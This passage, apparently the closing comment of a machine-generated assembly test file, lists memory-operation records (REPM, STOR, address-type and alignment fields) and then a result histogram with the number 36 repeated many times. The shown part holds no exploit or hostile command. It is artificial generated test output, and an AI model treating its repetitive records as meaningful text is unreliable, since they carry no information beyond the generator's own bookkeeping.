'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */